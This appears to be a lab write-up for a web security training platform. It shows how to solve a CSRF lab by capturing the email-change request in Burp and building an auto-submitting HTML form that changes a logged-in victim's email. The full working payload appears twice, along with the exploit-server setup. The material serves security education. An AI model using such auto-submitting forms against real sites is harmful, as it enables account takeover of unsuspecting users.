

This lab's email change functionality is vulnerable to CSRF.

To solve the lab, craft some HTML that uses a CSRF attack to change the viewer's email address and upload it to your exploit server.

You can log in to your own account using the following credentials: wiener:peter

Open Burp's browser and log in to your account using wiener:peter.

Update the email and capture the Request and Response in the Burp Suite,

The screenshot displays the Burp Suite interface. At the top, a table of HTTP history shows three items. Item 6 is selected, indicating a POST request to /my-account/change-email. Below this, the 'Request' tab is active, showing the raw HTTP request. The request includes headers such as Host, Cookie, Content-Length, Cache-Control, Sec-CH-UA, Sec-CH-UA-Mobile, Sec-CH-UA-Platform, Upgrade-Insecure-Requests, Origin, Content-Type, User-Agent, Accept, Accept-Charset, Sec-Fetch-Site, Sec-Fetch-Mode, Sec-Fetch-User, Sec-Fetch-Dest, and Referer. The 'Response' tab is also visible, showing the raw HTTP response with status 200, Location, and X-Frame-Options.

CSRF Payload,

```
<form method="POST" action="https:// 0a5c000304c7eed781811b24004f00d7.web-security-academy.net/my-account/change-email">
```

```
  <input type="hidden" name="email" value="kakashi%40web-security-academy.net">
```

```
</form>
```

```
<script>
```

```
  document.forms[0].submit();
```

```
</script>
```

Copy the above payload script and paste it in the exploit server.

Not secure | https://exploit-0a7c0097045bee1f81461a8601e40062.exploit-server.net

/exploit

Head:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

Body:

```
<form method="POST" action="https://0a5c000304c7eed781811b24004f00d7.web-security-academy.net/my-account/change-email">
  <input type="hidden" name="email" value="kakashi%40web-security-academy.net">
</form>
<script>
  document.forms[0].submit();
</script>
```

Store View exploit Deliver exploit to victim Access log

Home | My account | Log

My Account

Your username is: wiener

Your email is: kakashi@gmail.com

Email

Update email

We can see that Email is changed.